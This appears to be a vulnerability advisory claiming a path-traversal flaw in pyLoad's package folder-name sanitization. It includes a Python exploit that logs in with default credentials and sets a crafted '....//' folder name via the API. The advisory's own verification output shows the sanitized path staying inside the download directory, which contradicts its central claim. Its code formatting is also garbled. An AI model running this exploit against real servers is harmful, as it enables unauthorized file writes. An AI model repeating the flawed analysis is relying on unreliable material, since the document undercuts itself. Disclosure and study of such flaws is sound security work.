CVE-2026-42314: pyLoad: Path Traversal via Package Folder Name

Insufficient sanitization of package folder names allows writing files outside the intended download directory.

Affected Component - src/pyload/core/api/init.py - Function: addpackage()

Description Package folder names are sanitized using insufficient string replacement:

python folder = ( folder.replace("http://", "") .replace("https://", "") .replace("../", "") # Bypassable! .replace("..\\", "") .replace(":", "") .replace("/", "") .replace("\\", "") )

The ../ replacement is bypassable. The pattern ....// becomes .. after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS.

Proof of Concept

Setup bash pip install pyload-ng[all] pyload -d & Default credentials: pyload / pyload

Exploit python #!/usr/bin/env python3 import requests

BASEURL = "http://localhost:8000" USERNAME = "pyload" PASSWORD = "pyload"

session = requests.Session()

Login session.post(f"{BASEURL}/login", data={ "username": USERNAME, "password": PASSWORD })

Create package with malicious folder name The pattern ....// bypasses the ../ replacement After sanitization: .. (still contains ..) folderpayload = "....//....//....//tmp/evil"

resp = session.post(f"{BASEURL}/api/addpackage", json={ "name": "testpackage", "links": ["http://example.com/file.txt"], "dest": 1 # Destination.QUEUE })

packageid = resp.json() print(f"Created package: {packageid}")

Set malicious folder name resp = session.post(f"{BASEURL}/api/setpackagedata", json={ "packageid": packageid, "data": {"folder": folderpayload} })

print(f"Set folder payload: {folderpayload}") print(f"Response: {resp.statuscode}")

When download occurs, files will be written outside download dir print("[+] When a file is downloaded, it will be written to manipulated path") print(" The sanitized folder still contains '..' sequences that OS resolves")

Verification Check where files would be written: python import os

downloaddir = "/home/user/Downloads" folder = "....//....//....//tmp/evil"

Simulate pyLoad's sanitization sanitized = folder.replace("../", "").replace("/", "") print(f"After pyLoad sanitization: {sanitized}") Output: ......tmpevil

When pyLoad does os.path.join and then opens the file: finalpath = os.path.join(downloaddir, sanitized) print(f"Joined path: {finalpath}") Output: /home/user/Downloads/......tmpevil

The .. sequences remain and could be resolved by OS during file operations

Impact Authenticated users with ADD permission can: - Write files outside the download directory - Potentially overwrite system files (depending on permissions) - Clutter system directories with downloaded content